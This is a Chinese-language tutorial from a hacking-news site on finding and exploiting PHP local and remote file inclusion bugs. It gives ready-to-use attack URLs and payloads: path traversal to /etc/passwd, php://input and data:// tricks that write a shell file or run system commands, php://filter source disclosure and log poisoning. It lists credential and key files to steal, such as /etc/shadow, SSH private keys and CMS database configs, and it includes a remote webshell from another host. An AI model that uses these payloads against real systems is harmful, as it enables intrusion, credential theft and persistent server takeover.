文件包含漏洞发现与利用

文件包含漏洞发现与利用

黑客资讯访客1970-01-01 8:00:003015A+A-

程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。

 

1、本地包含漏洞 :被包含的文件在服务器本地

 


本地包含漏洞利用

包含/etc/passwd

http://www.webtester.com/include/file01.php?file=../../../../etc/passwd



1559782439594484.png



1.利用 上传图片->包含图片Getshell

2.读取文件,读php源代码

3.包含日志文件Getshell

4.包含proc/self/environ 文件getshell

5.phpinfo 包含临时文件

6.伪协议

伪协议 包含data:// 或者php://等协议(allow_url_include=On)

1) php://input
说明:
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
URL:

http://www.webtester.com/include/file01.php?file=php://input

 

1559782513130803.png

POST:

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>



2)data://

说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2

http://www.webtester.com//include/file01.php?file=data:text/plain,<?php system(id)?>

 

1559782630566384.png

http://www.webtester.com//include/file01.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==



3)php://filter

说明:
这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

http://www.webtester.com/include/file01.php?file=php://filter/read=convert.base64-encode/resource=file01.php

 

1559782668544739.png



4)包含日志文件getshell

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

 

5)读取网站配置文件
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
 
6)包含系统配置文件  
 
  windows
 
  C:/boot.ini //查看系统版本
  C:/Windows/System32/inetsrv/MetaBase.xml  //IIS配置文件
  C:/Windows/repairsam  //存储系统初次安装的密码
  C:/Program Files/mysql/my.ini  //Mysql配置
  C:/ProgramFiles/mysql/data/mysql/user.MYD  //Mysqlroot
  C:/Windows/php.ini  //php配置信息
  C:/Windows/my.ini  //Mysql配置信息
 
  linux
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_ras.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httpd/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd/fd[0-9]*(文件标识符)
  /proc/mounts
  /porc/config.gz

 

2、远程包含:被包含的文件在第三方服务器

 

条件 php.ini 中的配置项
allow_url_fopen    On
allow_url_include On

包含远程WEBSHELL

http://www.webtester.com/include/file01.php?file=http://192.168.0.121/x.txt



文件是可看得到 包含过来的文件最好是个txt。

5.png

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 5条评论
  • 泪灼本萝2022-06-03 04:03:06
  • _url_fopen    Onallow_url_include On包含远程WEBSHELLhttp://www.webtester.com/include/file01.php?file=http://192.168.0.121/x
  • 南殷娇痞2022-06-03 00:18:58
  • tp://www.webtester.com/include/file01.php?file=php://input POST:<?php fputs(fopen("shell.php","a
  • 瑰颈汐鸠2022-06-02 22:59:56
  • php://input说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。条件:php <5.0 ,allow_url_include=Of
  • 世味谷夏2022-06-03 09:20:40
  • /.ssh/id_rsa  /root/.ssh/id_ras.keystore  /root/.ssh/known_hosts  /etc/passwd  /e
  • 鸢旧长野2022-06-03 02:23:59
  • 原本的include的文件流重定向到了用户可控制的输入流中条件:allow_url_include=Onphp > 5.2http://www.webtester.com//include/file01.php?file=data:text

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理